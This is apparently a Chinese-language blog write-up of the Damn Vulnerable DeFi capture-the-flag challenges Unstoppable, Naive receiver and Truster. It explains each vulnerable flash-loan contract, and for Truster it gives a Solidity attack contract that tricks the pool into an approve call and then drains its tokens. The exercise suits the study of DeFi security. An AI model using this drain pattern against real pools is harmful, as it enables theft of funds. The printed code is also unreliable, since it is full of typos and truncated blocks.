damn-vulnerable-defi题解
Damn-vulnerable-defi
Unstoppable
要求是,使拥有一百万DVI的钱包停止闪电贷的功能
分析:这个合约的代码在gittub上,要分开去看,这道题的解决就是靠一个基本的闪电贷的知识
首先要看闪电贷的函数
function flashLoan(IERC3156FlashBorrower receiver, address _token, uint256 amount, bytes calldata data) |
revert的关键: convertToShares(totalSupply) != balanceBefore
,首先来看这个totalSupply,很熟悉,在ERC20中见过,又整体看这个合约,其实是继承了ERC20,totalSupply在ERC4626中定义了
//ERC4626部分合约 |
- totalAssets():计算的是当前金库中的资产代币数目
- convertToShares(totalSupply):totalSupply 是总的 share 代币数目(只有 deposit 或 mint 时才会产生),convertToShares 就是计算:assets * totalSupply /totalAssets ()
从中我们可以看到 supply=assets*supply/talalAssets(),如果我们让talalAssets()总数增加,而assets不变,就能满足convertToShares(totalSupply) != balanceBefore,所以就只要不通过 depost 或 mint 方法向 UnstoppableVault 中转入 token 即可
方法:在Unstoppable.t.sol测试合约中写我们的攻击合约,记得找对位置
/** |
Naive receiver
要求是,掏空一个用户已经部署的合约上的ETH
分析,部署合约,pool的闪电贷手续费为1eth,receiver已经有了10eth,要使 receiver 中的余额为 0,pool 中的余额为 1000+10eth,就是因此只需通过 receiver 向 pool 执行十次闪电贷即可把 10eth 全部通过手续费的方式转给 pool
方法:
// SPDX-License-Identifier: MIT |
Truster
要求是,获取这个池中的全部DIV
分析:看整个合约,还是挺简单的,也易读易懂,flashLoan合约中,实现了简单的合约代码,执行回调的函数就是 target.functionCall(data);主要从这个入手,攻击合约如下:
pragam solidityb ^0.8.0;
import"./TusterLenderPool.sol";
import"@openzeppelin/contracts/token/ERC20/IERC20.sol"
interface ITusterLenderPool{
function flashLoan(uint256 borrowAmount,address borrower,address target,bytes calldata data);
}
contract TusterExploit{
ITusterlenerPool cons;
address pool;
uint256 balanceof;
address tokenaddress;
constractor (address _pool,address _tokenaddress,uint256 Balanceof)
{
cons = ITusterLenderPool(_pool);
pool = _pool;
tokenaddress = _tokenaddress;
balanceof = Balanceof;
}
function hack() public {
cons.flashLoan(0,msg.sender,tokenaddress,abi.codeWithSigner("appove(address,uint256)",address(this),balanceof));
IERC20 token = IERC20(tokenaddress);
token.transferFrom(pool,msg.sender,balanceof);
}
}
pragma solidity ^0.8.0;
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.